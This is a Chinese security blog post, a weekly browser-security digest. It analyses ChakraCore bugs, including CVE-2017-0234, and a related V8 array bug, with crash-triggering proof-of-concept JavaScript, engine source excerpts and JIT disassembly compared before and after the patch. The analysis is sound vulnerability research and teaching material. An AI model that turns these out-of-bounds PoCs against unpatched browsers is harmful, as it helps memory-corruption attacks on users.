wnagzihxa1n

wnagzihxa1n

iOS/Android Security

© 2021

浏览器安全周报 2019.11.25 - 2019.11.29

今年POC科恩讲了一个很赞的议题《Chrome Exploitation》,Slide一共175页,真的是走心了

  • http://www.powerofcommunity.net/poc2019/Gengming.pdf

上周的周报里提过Blade Team讲了Safari

  • http://powerofcommunity.net/poc2019/Zhiyang.pdf

所有的议程在这里

  • http://www.powerofcommunity.net/schedule.htm

我一直很喜欢上交的Gossip,他们会定期发一些Paper的阅读笔记,喜欢分享,师傅们也很nice(虽然我没有认识的),Gossip有一个分享Paper阅读笔记的站点,最近他们把这个站点所有的文章以Markdown的模式传到了GitHub,方便线下阅读

  • https://securitygossip.com/
  • https://github.com/GoSSIP-SJTU/GoSSIP_Blog

这周学习了2019 SSTIC一个ChakraCore相关的议题《A tale of Chakra bugs through the years》

  • https://www.sstic.org/media/SSTIC2019/SSTIC-actes/Pwning_Browsers/SSTIC2019-Slides-Pwning_Browsers-keith.pdf

其中提到了两个漏洞,跟大家分享一下我的学习心得

其中提到一个漏洞的背景知识如下,获取属性时的回调

IMAGE

漏洞所在代码

IMAGE

我在看到这一页的时候,想起了泉哥在《安全研究者的自我修养》说的训练自己挖洞能力

  • https://mp.weixin.qq.com/s?__biz=MzU0MzgzNTU0Mw==&mid=2247483913&idx=1&sn=2a0558592e072389e348dc8f7c6223d1&scene=21#wechat_redirect
2、训练挖洞的双技能
(1)看洞:哪里看?历史漏洞的git log、bug报告、代码质量报告等等
(2)识洞:就是肉眼看代码找漏洞,即代码审计,难点也就是在这上面,训练方法继续往下看

3、代码审计训练
(1)根据自己目标定位,寻找相应的历史漏洞案例进行学习,比如要搞chrome就找chrome的历史漏洞
(2)掌握漏洞所在的模块或子系统,但不看完整的漏洞细节描述,尝试在漏洞版本中找出对应的漏洞
(3)如果(2)中未能找出漏洞,就去看漏洞细节描述,对比自己的审计过程,看遗漏了哪一步骤
(4)不断重复上述训练,直至相信:挖洞只是体力消耗,而非能力问题

这第4点说得,非常励志,因为挖洞挖久了,有时真的容易怀疑自己的能力,目标难度越大,越容易打击人。

于是我没有继续往下翻,仔细的读了读代码,成功看出了漏洞点,因为我没有读过ChakraCore的源码,所以看的仔细些,核心就是之前那个前置知识,获取元素的时候可以回调,回调里可以修改数组长度,由于循环部分已经通过了长度检查,所以OOB

IMAGE

POC

let a = [1,2,3];

// setting length to 4 means that a[3] 
// is not defined on the array itself 
// the spread operation will have to walk 
// the prototype chain to see if it is defined
a.length = 4;

// a.__proto__ == Array.prototype 
// callback will be executed when doing 
// DirectGetItemAtFull for index 3
Array.prototype.__defineGetter__("3", function () 
{
    a.length = 0x10000000;
    a.fill(0x414141);
});

// trigger array spread, will trigger a segfault
Math.max(...a);

我之前在V8里看过类似的漏洞Pattern

V8一个漏洞Pattern一样的漏洞:CVE-2016-1646 Array.concat OOB

  • https://bugs.chromium.org/p/chromium/issues/detail?id=594574

调用GetElement()获取元素时触发回调

switch (array->GetElementsKind()) {
    case FAST_SMI_ELEMENTS:
    case FAST_ELEMENTS:
    case FAST_HOLEY_SMI_ELEMENTS:
    case FAST_HOLEY_ELEMENTS: {
        // Run through the elements FixedArray and use HasElement and GetElement
        // to check the prototype for missing elements.
        Handle<FixedArray> elements(FixedArray::cast(array->elements()));
        int fast_length = static_cast<int>(length);  <-- fast_length keeps its value after entering the iteration below
        DCHECK(fast_length <= elements->length());
        for (int j = 0; j < fast_length; j++) {
            HandleScope loop_scope(isolate);
            Handle<Object> element_value(elements->get(j), isolate); <-- get the element with index j (leading to oob access)
            if (!element_value->IsTheHole()) {
                visitor->visit(j, element_value);
            } else {  <-- if it is a hole, it may go to its prototype for the value with index j
            Maybe<bool> maybe = JSReceiver::HasElement(array, j);
            if (!maybe.IsJust()) return false;
                if (maybe.FromJust()) {
                    // Call GetElement on array, not its prototype, or getters won't
                    // have the correct receiver.
                    ASSIGN_RETURN_ON_EXCEPTION_VALUE(
                        isolate, element_value, Object::GetElement(isolate, array, j),
                        false);     <-- here we redefine the function to get the value in array's __proto__ with index j
                                    <-- inside our redefinition function we make the length of the array shorter (< fast_length)
                    visitor->visit(j, element_value);
                }
            }
        }
        break;
    }

第二个是JIT洞,这个漏洞我没有看出来,但是其实我应该是可以看出来的,需要好好反思

  1. 首先a[0] = 1.2;,这一步会进行a[0]的各项检查
  2. ChakraCore的JIT Compiler认为b[0] = c;是没有side-effect的
  3. 因为2里面没有side-effect,所以return a[0]会跳过检查

IMAGE

咋一看没啥问题

IMAGE

但是这里其实是存在回调导致的side-effect

IMAGE

定义valueOf,通过赋值操作修改掉a的类型,但是JIT Compiler认为它没有side-effect,所以不会有其它操作,直接返回a[0]的值,就可以达到一个addrof原语

IMAGE

在2017年的Pwn2Own上,腾讯湛卢实验室用两个漏洞攻破了Edge,分别是CVE-2017-0234和CVE-2017-0236

这周我把CVE-2017-0234的细节分析了一遍

补丁

  • https://github.com/microsoft/ChakraCore/commit/a1345ad48064921e8eb45fa0297ce405a7df14d3

从补丁的Message可以猜测这个漏洞可能跟开发人员默认了4GB这个限制有关

[CVE-2017-0234] Too aggressive bound check removal

Don't eliminate bounds checks on virtual typed arrays if we can't guarantee that the accesses will be within 4Gb

CVE-2017-0234的Poc如下

function write(begin, end, step, num) {
    for (var i = begin; i < end; i += step) 
        view[i] = num;
}
var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);
write(0, 0x4000, 1, 0x1234);
write(0x3000000e, 0x40000010, 0x10000, 1851880825);

使用VS进行调试,程序会碰到异常自动断下,我们在右下角点击调用堆栈可以看到当前程序的函数调用栈,可以看到问题出在ChakraCore.dll!Js::InterpreterStackFrame::CallLoopBody,双击最上面的地址000001e58032014c()可以出现地址对应的反汇编地址,图中的反汇编就是生成的JIT代码

IMAGE

我们拷贝部分代码出来,下面是部分寄存器的值,结合Poc我们可以分析出寄存器r12存储的是第二个write()函数调用里的第四个参数,寄存器r8存储的是第二个write()函数调用的第一个参数,也就是说这一句汇编对应的是给数组进行赋值操作,之所以乘以4是因为这是个Uint32Array数组,每个数据长度为4字节

000001E580320122  jle         000001E5803202EB  
000001E580320128  mov         dword ptr [rsi+9397Ch],eax  
000001E58032012E  inc         eax  
000001E580320130  cmp         r8d,r9d  
000001E580320133  jge         000001E580320171  
000001E580320135  mov         r10,r13  
000001E580320138  mov         r11,r10  
000001E58032013B  shr         r11,30h  
000001E58032013F  cmp         r11,1  
000001E580320143  jne         000001E5803202FD  
000001E580320149  mov         r12d,r10d  
000001E58032014C  mov         dword ptr [rbx+r8*4],r12d  

R10D	6E617579	RBX	000001EDFFFF0000	
R12D	6E617579	R8 	000000003000000E	R11	0000000000000001	

>>> hex(1851880825)
'0x6e617579'

对应的崩溃现场代码,传入的参数就是JITed Code的地址,那么我们也可以打个断点把JITed Code打印出来

uint
InterpreterStackFrame::CallLoopBody(JavascriptMethod address)
{
    ...
    uint newOffset = ::Math::PointerCastToIntegral<uint>(
        CALL_ENTRYPOINT_NOASSERT(address, function, CallInfo(CallFlags_InternalFrame, 1), this));
   
    ...
    return newOffset;
}

从函数断下的地方跳到上层调用

函数InterpreterStackFrame::DoLoopBodyStart()会调用InterpreterStackFrame::CallLoopBody()执行JITed Code,我们在此处打个断点

LoopHeader const * InterpreterStackFrame::DoLoopBodyStart(uint32 loopNumber, LayoutSize layoutSize, const bool doProfileLoopCheck, const bool isFirstIteration)
{
    ...
    uint newOffset = 0;
    if (fn->GetIsAsmJsFunction())
    {
        AutoRestoreLoopNumbers autoRestore(this, loopNumber, doProfileLoopCheck);
        newOffset = this->CallAsmJsLoopBody(entryPointInfo->jsMethod);
    }
    else
    {
        AutoRestoreLoopNumbers autoRestore(this, loopNumber, doProfileLoopCheck);
        newOffset = this->CallLoopBody(entryPointInfo->jsMethod);
    }
    
    ...
    return nullptr;
}

打好断点后,再次运行断下,左下角监控窗口找到entryPointInfo->jsMethod的值,反汇编窗口跟过去,可以看到生成的JITed Code

IMAGE

此处补充一个知识点:ChakraCore为了区分指针和数据,会对整数进行box,具体就是与0x0001000000000000进行或运算

将JITed Code完整拷贝出来,我们来读一下,理解下Patch前后的JITed Code有哪些区别

// 不重要的代码
0000026669150000  mov         rax,26669180A78h  
000002666915000A  mov         rax,qword ptr [rax]  
000002666915000D  add         rax,1C30h  
0000026669150014  jo          000002666915039F  
000002666915001A  cmp         rsp,rax  
000002666915001D  jle         000002666915039F  
0000026669150023  nop         dword ptr [rax]  
0000026669150026  nop         dword ptr [rax]  
000002666915002A  mov         qword ptr [rsp+20h],r9  
000002666915002F  mov         qword ptr [rsp+18h],r8  
0000026669150034  mov         qword ptr [rsp+10h],rdx  
0000026669150039  mov         qword ptr [rsp+8],rcx  
000002666915003E  push        rbp  
0000026669150040  mov         rbp,rsp  
0000026669150043  sub         rsp,38h  
0000026669150047  push        r15  
0000026669150049  push        r14  
000002666915004B  push        r13  
000002666915004D  push        r12  
000002666915004F  push        rdi  
0000026669150051  push        rsi  
0000026669150053  push        rbx  
// 这里开始
0000026669150055  sub         rsp,30h  抬高栈顶
0000026669150059  mov         rbx,26669181ED8h          RBX = 0000026669181ED8
0000026669150063  mov         rsi,7FF94DC4CEF8h         RSI = 00007FF94DC4CEF8
000002666915006D  mov         rdi,26E692947C4h          RDI = 0000026E692947C4
// 数据来自调试,此处获取传入的参数
0000026669150077  mov         r12,qword ptr [rbp+20h]  	R12	= 000000F0EF6FDCB0	
000002666915007B  mov         r13,qword ptr [r12+160h]  R13	= 0001000000010000,根据上面的小知识点,可以看到这就是第三个参数0x10000
0000026669150083  mov         r14,qword ptr [r12+168h]  R14	= 000100006E617579,第四个参数1851880825
000002666915008B  mov         r15,qword ptr [r12+158h]  R15	= 0001000040000010,第二个参数0x40000010
0000026669150093  mov         rax,qword ptr [r12+170h]  RAX	= 000100003000000E,第一个参数0x3000000e
000002666915009B  xor         ecx,ecx  	                ECX	= 00000000
// 不理解这里在判断什么,像是一个恒不跳转的条件
000002666915009D  mov         byte ptr [rbx],1  
00000266691500A0  mov         byte ptr [rbx-15Eh],3  
00000266691500A7  mov         rdx,qword ptr [rdi+1784Ch]  
00000266691500AE  mov         rdx,qword ptr [rdx+38h]   RDX	= 0000026E692E2940	
00000266691500B2  mov         byte ptr [rbx-15Eh],0  
00000266691500B9  cmp         byte ptr [rbx],1  
00000266691500BC  jne         00000266691501B1  
// 判断第三个参数为整数
00000266691500C2  mov         r8,r13                    R8 = R13 = 0x10000
00000266691500C5  mov         r9,r8                     R8 = R13 = 0001000000010000
00000266691500C8  shr         r9,30h                    R9 = R9>>30 = 0001000000010000>>30 = 0000000000000001
00000266691500CC  cmp         r9,1  
00000266691500D0  jne         00000266691501CE  
// 判断第一个参数为整数
00000266691500D6  mov         r8d,r8d                   R8D = 0x10000
00000266691500D9  mov         r9,rax                    R9 = RAX = 000100003000000E,第一个参数
00000266691500DC  mov         r10,r9                    R10 = R9 = RAX = 000100003000000E
00000266691500DF  shr         r10,30h                   R10 = R10>>30 = 000100003000000E>>30 = 0x0000000000000001
00000266691500E3  cmp         r10,1  
00000266691500E7  jne         0000026669150222  
// 判断第二个参数为整数
00000266691500ED  mov         r9d,r9d                   R9D = 0x3000000E
00000266691500F0  mov         r10,r15                   R10 = R15 = 0001000040000010
00000266691500F3  mov         r11,r10                   R11 = R10 = 0001000040000010
00000266691500F6  shr         r11,30h                   R11 = R11>>30 = 0001000040000010>>30 = 0000000000000001
00000266691500FA  cmp         r11,1  
00000266691500FE  jne         000002666915027E  
// 判断R11是否是指针
0000026669150104  mov         r10d,r10d                 R10D = 40000010
0000026669150107  mov         r11,rdx                   R11	= RDX = 0000026E692E2940	
000002666915010A  shr         r11,30h  		            R11	 = R11>>30 = 0000026E692E2940>>30 = 0000000000000000	
000002666915010E  jne         00000266691502DF  
// 湛泸的文章说这里是在判断虚表来检查是否是合法的typearray
// 根据寄存器RDX存储的是数组对象的指针刚好验证了这一点
// >dd rdx
// 0x0000026E692E2940  4dc4cef8 00007ff9 692a9540 0000026e
0000026669150114  cmp         qword ptr [rdx],rsi       RSI = 00007FF94DC4CEF8
0000026669150117  jne         00000266691502DF  
// 此时RDX为数组对象的指针,偏移为0x38是数组的Buffer,这个指针指向的内存存储的是真正的数组数据
000002666915011D  mov         rsi,qword ptr [rdx+38h]  
// 不明白这里在对比什么,栈空间?
0000026669150121  mov         r11,26669180A78h  
000002666915012B  cmp         rsp,qword ptr [r11]  
000002666915012E  jle         0000026669150319  
// 从上面分析来看,ECX为0,并自增一,应该是循环计数器
0000026669150134  mov         dword ptr [rdi+9397Ch],ecx  
000002666915013A  inc         ecx  
// 可以看到这里在比较循环的Begin要小于End
000002666915013C  cmp         r9d,r10d  	            R9D = 3000000E,R10D = 40000010
000002666915013F  jge         000002666915017D  
// 第四个参数1851880825,判断是否是整数
0000026669150141  mov         r11,r14  		            R14 = 000100006E617579,R11 = 0000026669180A78
0000026669150144  mov         r13,r11  
0000026669150147  shr         r13,30h  
000002666915014B  cmp         r13,1  
000002666915014F  jne         000002666915032B  
// 经过一系列检查,我们看到就直接做了赋值操作,而整个流程只判断了循环的Begin小于End,其它条件一概没判断,导致一个OOB
0000026669150155  mov         r13d,r11d                 R11D = 6E617579
0000026669150158  mov         dword ptr [rsi+r9*4],r13d  执行赋值操作
// 加上循环的Step后进行判断,不溢出就下一次循环
000002666915015C  add         r9d,r8d  
000002666915015F  jno         0000026669150121  
// 溢出了就退出
0000026669150161  sub         r9d,r8d  
0000026669150164  mov         rcx,26E691DD898h  
000002666915016E  mov         rax,7FF94D8F4850h  
0000026669150178  call        rax  
000002666915017B  jmp         0000026669150199  
000002666915017D  mov         edx,r9d  
0000026669150180  bts         rdx,30h  
0000026669150185  mov         rax,rdx  
0000026669150188  mov         qword ptr [r12+170h],rax  
0000026669150190  mov         dword ptr [rdi],ecx  
0000026669150192  mov         rax,26h  
0000026669150199  add         rsp,30h  
000002666915019D  pop         rbx  
000002666915019F  pop         rsi  
00000266691501A1  pop         rdi  
00000266691501A3  pop         r12  
00000266691501A5  pop         r13  
00000266691501A7  pop         r14  
00000266691501A9  pop         r15  
00000266691501AB  mov         rsp,rbp  
00000266691501AE  pop         rbp  
00000266691501B0  ret  

用同样的方式,我们打印出Patch之后的JITed Code,对比都添加了哪些检查

可以看到下面标出的两个新增检查点:

  1. 计数器是否为负数
  2. 循环End是否大于数组长度
// 不重要的代码
000002E734590000  mov         rax,2DE342E0A98h  
000002E73459000A  mov         rax,qword ptr [rax]  
000002E73459000D  add         rax,1C20h  
000002E734590014  jo          000002E73459036D  
000002E73459001A  cmp         rsp,rax  
000002E73459001D  jle         000002E73459036D  
000002E734590023  nop         dword ptr [rax]  
000002E734590026  mov         qword ptr [rsp+20h],r9  
000002E73459002B  mov         qword ptr [rsp+18h],r8  
000002E734590030  mov         qword ptr [rsp+10h],rdx  
000002E734590035  mov         qword ptr [rsp+8],rcx  
000002E73459003A  push        rbp  
000002E73459003C  mov         rbp,rsp  
000002E73459003F  sub         rsp,30h  
000002E734590043  push        r15  
000002E734590045  push        r14  
000002E734590047  push        r13  
000002E734590049  push        r12  
000002E73459004B  push        rdi  
000002E73459004D  push        rsi  
000002E73459004F  push        rbx  
// 这里开始
000002E734590051  sub         rsp,28h  
000002E734590055  mov         rbx,2DE342B01C0h  
000002E73459005F  mov         rsi,7FFBD004EA28h  
000002E734590069  mov         rdi,2E6343F47C4h  
000002E734590073  mov         r12,qword ptr [rbp+20h]  
000002E734590077  mov         r13,qword ptr [r12+160h]  
000002E73459007F  mov         r14,qword ptr [r12+168h]  
000002E734590087  mov         r15,qword ptr [r12+158h]  
000002E73459008F  mov         rax,qword ptr [r12+170h]  
000002E734590097  xor         ecx,ecx  
000002E734590099  mov         byte ptr [rbx+31D38h],1  
000002E7345900A0  mov         byte ptr [rbx+31BDAh],3  
000002E7345900A7  mov         rdx,qword ptr [rdi+1784Ch]  
000002E7345900AE  mov         rdx,qword ptr [rdx+38h]  
000002E7345900B2  mov         byte ptr [rbx+31BDAh],0  
000002E7345900B9  cmp         byte ptr [rbx+31D38h],1  
000002E7345900C0  jne         000002E7345901C9  
000002E7345900C6  mov         r8,r13  
000002E7345900C9  mov         r9,r8  
000002E7345900CC  shr         r9,30h  
000002E7345900D0  cmp         r9,1  
000002E7345900D4  jne         000002E7345901DF  
000002E7345900DA  mov         r8d,r8d  
000002E7345900DD  mov         r9,rax  
000002E7345900E0  mov         r10,r9  
000002E7345900E3  shr         r10,30h  
000002E7345900E7  cmp         r10,1  
000002E7345900EB  jne         000002E73459022C  
000002E7345900F1  mov         r9d,r9d  
000002E7345900F4  mov         r10,r15  
000002E7345900F7  mov         r11,r10  
000002E7345900FA  shr         r11,30h  
000002E7345900FE  cmp         r11,1  
000002E734590102  jne         000002E734590281  
000002E734590108  mov         r10d,r10d  
000002E73459010B  mov         r11,rdx  
000002E73459010E  shr         r11,30h  
000002E734590112  jne         000002E7345902DB  
000002E734590118  cmp         qword ptr [rdx],rsi  
000002E73459011B  jne         000002E7345902DB  
// 新增判断:判断循环的End是否超过数组长度
000002E734590121  mov         esi,dword ptr [rdx+20h]  
000002E734590124  cmp         r10d,esi  
000002E734590127  jg          000002E7345902EE  
000002E73459012D  mov         rbx,qword ptr [rdx+38h] 
// 循环点
000002E734590131  mov         rsi,2DE342E0A98h  
000002E73459013B  cmp         rsp,qword ptr [rsi]  
000002E73459013E  jle         000002E734590321  
000002E734590144  mov         dword ptr [rdi+9397Ch],ecx  
000002E73459014A  inc         ecx  
// 判断索引小于循环End
000002E73459014C  cmp         r9d,r10d  
000002E73459014F  jge         000002E734590195  
// 新增判断:判断R9D为非负数
000002E734590151  test        r9d,r9d  
000002E734590154  js          000002E734590333  
000002E73459015A  mov         rsi,r14  
000002E73459015D  mov         r11,rsi  
000002E734590160  shr         r11,30h  
000002E734590164  cmp         r11,1  
000002E734590168  jne         000002E73459034F  
// 做赋值操作
000002E73459016E  mov         esi,esi  
000002E734590170  mov         dword ptr [rbx+r9*4],esi  
000002E734590174  add         r9d,r8d  
000002E734590177  jno         000002E734590131  
000002E734590179  sub         r9d,r8d  
000002E73459017C  mov         rcx,2E634345648h  
000002E734590186  mov         rax,7FFBCFCF5A70h  
000002E734590190  call        rax  
000002E734590193  jmp         000002E7345901B1  
000002E734590195  mov         edx,r9d  
000002E734590198  bts         rdx,30h  
000002E73459019D  mov         rax,rdx  
000002E7345901A0  mov         qword ptr [r12+170h],rax  
000002E7345901A8  mov         dword ptr [rdi],ecx  
000002E7345901AA  mov         rax,26h  
000002E7345901B1  add         rsp,28h  
000002E7345901B5  pop         rbx  
000002E7345901B7  pop         rsi  
000002E7345901B9  pop         rdi  
000002E7345901BB  pop         r12  
000002E7345901BD  pop         r13  
000002E7345901BF  pop         r14  
000002E7345901C1  pop         r15  
000002E7345901C3  mov         rsp,rbp  
000002E7345901C6  pop         rbp  
000002E7345901C8  ret  

这里我们不过多的讨论优化的流程和细节,通过调用堆栈知道当前漏洞代码所处的位置即可

>k
 索引     函数      
--------------------------------------------------------------------------------
*1      ChakraCore.dll!GlobOpt::OptArraySrc(IR::Instr * * const instrRef)
 2      ChakraCore.dll!GlobOpt::OptInstr(IR::Instr * & instr, bool * isInstrRemoved)
 3      ChakraCore.dll!GlobOpt::OptBlock(BasicBlock * block)
 4      ChakraCore.dll!GlobOpt::ForwardPass()
 5      ChakraCore.dll!GlobOpt::Optimize()
 6      ChakraCore.dll!Func::TryCodegen()
 7      ChakraCore.dll!Func::Codegen(Memory::JitArenaAllocator * alloc, JITTimeWorkItem * workItem, ThreadContextInfo * threadContextInfo, ScriptContextInfo * scriptContextInfo, JITOutputIDL * outputData, Js::EntryPointInfo * epInfo, const FunctionJITRuntimeInfo * const runtimeInfo, JITTimePolymorphicInlineCacheInfo * const polymorphicInlineCacheInfo, void * const codeGenAllocators, Js::ScriptContextProfiler * const codeGenProfiler, const bool isBackgroundJIT)
 8      ChakraCore.dll!NativeCodeGenerator::CodeGen(Memory::PageAllocatorBase<Memory::VirtualAllocWrapper,Memory::SegmentBase<Memory::VirtualAllocWrapper>,Memory::PageSegmentBase<Memory::VirtualAllocWrapper> > * pageAllocator, CodeGenWorkItem * workItem, const bool foreground)
 9      ChakraCore.dll!NativeCodeGenerator::Process(JsUtil::Job * const job, JsUtil::ParallelThreadData * threadData)
 10     ChakraCore.dll!JsUtil::BackgroundJobProcessor::Process(JsUtil::Job * const job, JsUtil::ParallelThreadData * threadData)
 11     ChakraCore.dll!JsUtil::BackgroundJobProcessor::Run(JsUtil::ParallelThreadData * threadData)
 12     ChakraCore.dll!JsUtil::BackgroundJobProcessor::StaticThreadProc(void * lpParam)
 13     ChakraCore.dll!invoke_thread_procedure(unsigned int(*)(void *) procedure, void * const context)
 14     ChakraCore.dll!thread_start<unsigned int (__cdecl*)(void * __ptr64)>(void * const parameter)
 15     [外部代码]  

我们知道了漏洞代码所处的位置,现在来分析漏洞的成因

Patch后的代码,我通过调试打印出了运行时的变量数据

if (baseValueType.IsLikelyOptimizedVirtualTypedArray() && !Js::IsSimd128LoadStore(instr->m_opcode) /*Always extract bounds for SIMD */)
{
    if (isProfilableStElem ||
        !instr->IsDstNotAlwaysConvertedToInt32() ||
        ( (baseValueType.GetObjectType() == ObjectType::Float32VirtualArray ||
            baseValueType.GetObjectType() == ObjectType::Float64VirtualArray) &&
            !instr->IsDstNotAlwaysConvertedToNumber()
        )
        )
    {
        // Unless we're in asm.js (where it is guaranteed that virtual typed array accesses cannot read/write beyond 4GB),
        // check the range of the index to make sure we won't access beyond the reserved memory beforing eliminating bounds
        // checks in jitted code.
        if (!GetIsAsmJSFunc())
        {
            // idxOpnd = 0x000001dae1efc4e0 {m_sym=0x000001dae1efc030 {byteCodeRegSlot=0x00000006 byteCodeFunc=0x00000055e1ffef60 {...} } ...}	IR::RegOpnd *
            IR::RegOpnd * idxOpnd = baseOwnerIndir->GetIndexOpnd();
            if (idxOpnd)
            {
                // idxSym = 0x000001dae1ef2560 {byteCodeRegSlot=0x00000006 byteCodeFunc=0x00000055e1ffef60 {m_alloc=0x00000055e1fff8f0 {...} ...} }	StackSym * {ByteCodeStackSym}
                StackSym * idxSym = idxOpnd->m_sym->IsTypeSpec() ? idxOpnd->m_sym->GetVarEquivSym(nullptr) : idxOpnd->m_sym;
                // idxValue = 0x000001dae1efda00 {valueNumber=0x00000010 valueInfo=0x000001dae1efbfa0 {bounds=0x000001dae1efbeb0 {...} ...} }	Value *
                Value * idxValue = FindValue(idxSym);
                // idxConstantBounds = {lowerBound=0x00000000 upperBound=0x00000000 }	IntConstantBounds
                IntConstantBounds idxConstantBounds;
                // idxConstantBounds = {lowerBound=0x80000000 upperBound=0x7ffffffe }	IntConstantBounds
                if (idxValue && idxValue->GetValueInfo()->TryGetIntConstantBounds(&idxConstantBounds))
                {
                    // indirScale = 0x02 '\x2'	unsigned char
                    BYTE indirScale = Lowerer::GetArrayIndirScale(baseValueType);
                    // upperBound = 0x7ffffffe	int
                    int32 upperBound = idxConstantBounds.UpperBound();
                    // lowerBound = 0x80000000	int
                    int32 lowerBound = idxConstantBounds.LowerBound();
                    // 关键的一个判断
                    // lowerBound >= 0:下边界大于0
                    // (static_cast<uint64>(upperBound) << indirScale:表示数组最大长度*数组元素大小,这里indirScale的值为0x02,表示一个元素占用4字节
                    // #define MAX_ASMJS_ARRAYBUFFER_LENGTH 0x100000000 //4GB
                    // 所以整个判断的核心就是:判断边界的时候,需要以数组长度*元素大小来判断
                    // 猜测:该漏洞应该是没有做4GB的判断,导致数组长度*元素大小超过4GB,访问的时候就越界了
                    if (lowerBound >= 0 && ((static_cast<uint64>(upperBound) << indirScale) < MAX_ASMJS_ARRAYBUFFER_LENGTH))
                    {
                        eliminatedLowerBoundCheck = true;
                        eliminatedUpperBoundCheck = true;
                        canBailOutOnArrayAccessHelperCall = false;
                    }
                }
            }
        }
        else
        {
            eliminatedLowerBoundCheck = true;
            eliminatedUpperBoundCheck = true;
            canBailOutOnArrayAccessHelperCall = false;
        }
    }
}

猜测归猜测,具体还是要落实到代码来理解,找到Poc里创建ArrayBuffer的代码

JavascriptArrayBuffer::JavascriptArrayBuffer(uint32 length, DynamicType * type) :
    ArrayBuffer(length, type, (IsValidVirtualBufferLength(length)) ? AllocWrapper : malloc)
{
}

打个断点

length	0x00010000	unsigned int
Js::Type	{typeId=TypeIds_ArrayBuffer (0x00000029) flags=TypeFlagMask_None (0x00 '\0') javascriptLibrary=0x000002867b148000 {...} ...}	Js::Type

IMAGE

在创建数组的代码里,我们看到有一个判断,这里要走入WIN64

bool JavascriptArrayBuffer::IsValidVirtualBufferLength(uint length)
{
#if _WIN64
    /*
    1. length >= 2^16
    2. length is power of 2 or (length > 2^24 and length is multiple of 2^24)
    3. length is a multiple of 4K
    */
    return (!PHASE_OFF1(Js::TypedArrayVirtualPhase) &&
        (length >= 0x10000) &&
        (((length & (~length + 1)) == length) ||
        (length >= 0x1000000 &&
        ((length & 0xFFFFFF) == 0)
        )
        ) &&
        ((length % AutoSystemInfo::PageSize) == 0)
        );
#else
    return false;
#endif
}

一共是如下几个判断,主要是长度大于0x10000且页对齐

1. length >= 2^16
2. length is power of 2 or (length > 2^24 and length is multiple of 2^24)
3. length is a multiple of 4K

!PHASE_OFF1(Js::TypedArrayVirtualPhase)
length >= 0x10000:我们创建的长度为0x10000,满足,这也就是为什么长度为0x10000的原因
((length & (~length + 1)) == length) || (length >= 0x1000000 && ((length & 0xFFFFFF) == 0))
(length % AutoSystemInfo::PageSize) == 0

条件满足就使用AllocWrapper来分配内存,根据定义,AllocWrapper会调用VirtualAlloc来分配内存,首先是申请地址,使用4GB的保留空间MEM_RESERVE,然后使用实际的数组长度进行提交MEM_COMMIT

#define MAX_ASMJS_ARRAYBUFFER_LENGTH 0x100000000 //4GB

static void*__cdecl  AllocWrapper(DECLSPEC_GUARD_OVERFLOW size_t length)
{
#if _WIN64
    // 4GB的保留空间
    LPVOID address = VirtualAlloc(nullptr, MAX_ASMJS_ARRAYBUFFER_LENGTH, MEM_RESERVE, PAGE_NOACCESS);
    //throw out of memory
    if (!address)
    {
        Js::Throw::OutOfMemory();
    }
    // 使用实际的数组长度length进行提交
    LPVOID arrayAddress = VirtualAlloc(address, length, MEM_COMMIT, PAGE_READWRITE);
    if (!arrayAddress)
    {
        VirtualFree(address, 0, MEM_RELEASE);
        Js::Throw::OutOfMemory();
    }
    return arrayAddress;
#else
    Assert(false);
    return nullptr;
#endif
}

到这里,我们可以结合补丁的Message进行猜测,开发者会以为超过0x10000的数组使用了4GB的保留空间会很安全,所以移除了边界检查,但是没有考虑到元素大小,导致OOB

漏洞分析到这里就结束了,结束了吗?

其实远没有结束,还有很多要思考的:ChakraCore的解释器流程更详细的分析,如何进入JIT,进入JIT之后都有哪些Phase,如何处理IR,更多的内部机制和特性等等

好好学习:))

大佬们带带弟弟吧,我学不动了:((